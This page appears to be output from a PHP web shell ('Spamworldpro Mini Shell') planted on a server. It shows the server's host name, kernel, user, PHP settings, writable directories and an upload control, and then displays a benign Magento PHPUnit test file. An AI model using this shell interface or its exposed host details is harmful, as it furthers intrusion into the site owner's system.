Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/framework/ObjectManager/Test/Unit/Profiler/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magento/framework/ObjectManager/Test/Unit/Profiler/FactoryDecoratorTest.php
<?php
/***
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\Framework\ObjectManager\Test\Unit\Profiler;

use Magento\Framework\ObjectManager\FactoryInterface;
use Magento\Framework\ObjectManager\Profiler\Code\Generator\Logger;
use Magento\Framework\ObjectManager\Profiler\FactoryDecorator;
use Magento\Framework\TestFramework\Unit\Helper\ObjectManager;
use PHPUnit\Framework\MockObject\MockObject;
use PHPUnit\Framework\TestCase;

class FactoryDecoratorTest extends TestCase
{
    /**
     * Name of the base class to wrap in logger
     */
    const CLASS_NAME = \Magento\Test\Di\WrappedClass::class;

    /**
     * Name of the wrapper class that does logging
     */
    const LOGGER_NAME = \Magento\Test\Di\WrappedClass\Logger::class;

    /**
     * Name of the class that generates wrappers - should not be wrapped by logger
     */
    const GENERATOR_NAME = Logger::class;

    /** @var  MockObject|FactoryInterface*/
    private $objectManagerMock;

    /** @var  FactoryDecorator */
    private $model;

    protected function setUp(): void
    {
        require_once __DIR__ . '/../_files/logger_classes.php';
        $objectManager = new ObjectManager($this);

        $this->objectManagerMock = $this->getMockBuilder(FactoryInterface::class)
            ->disableOriginalConstructor()
            ->getMockForAbstractClass();

        // Instantiate SUT
        $this->model = $objectManager->getObject(
            FactoryDecorator::class,
            ['subject' => $this->objectManagerMock]
        );
    }

    public function testCreate()
    {
        $baseObjectName = self::CLASS_NAME;
        $baseObject = new $baseObjectName();

        $arguments = [1, 2, 3];

        $this->objectManagerMock->expects($this->once())
            ->method('create')
            ->with(self::CLASS_NAME, $arguments)
            ->willReturn($baseObject);

        $this->assertInstanceOf(self::LOGGER_NAME, $this->model->create(self::CLASS_NAME, $arguments));
    }

    public function testCreateNeglectGenerator()
    {
        $arguments = [1, 2, 3];
        $loggerMock = $this->getMockBuilder(self::GENERATOR_NAME)
            ->disableOriginalConstructor()
            ->getMock();

        $this->objectManagerMock->expects($this->once())
            ->method('create')
            ->with(self::GENERATOR_NAME, $arguments)
            ->willReturn($loggerMock);

        $this->assertSame($loggerMock, $this->model->create(self::GENERATOR_NAME, $arguments));
    }
}

Spamworldpro Mini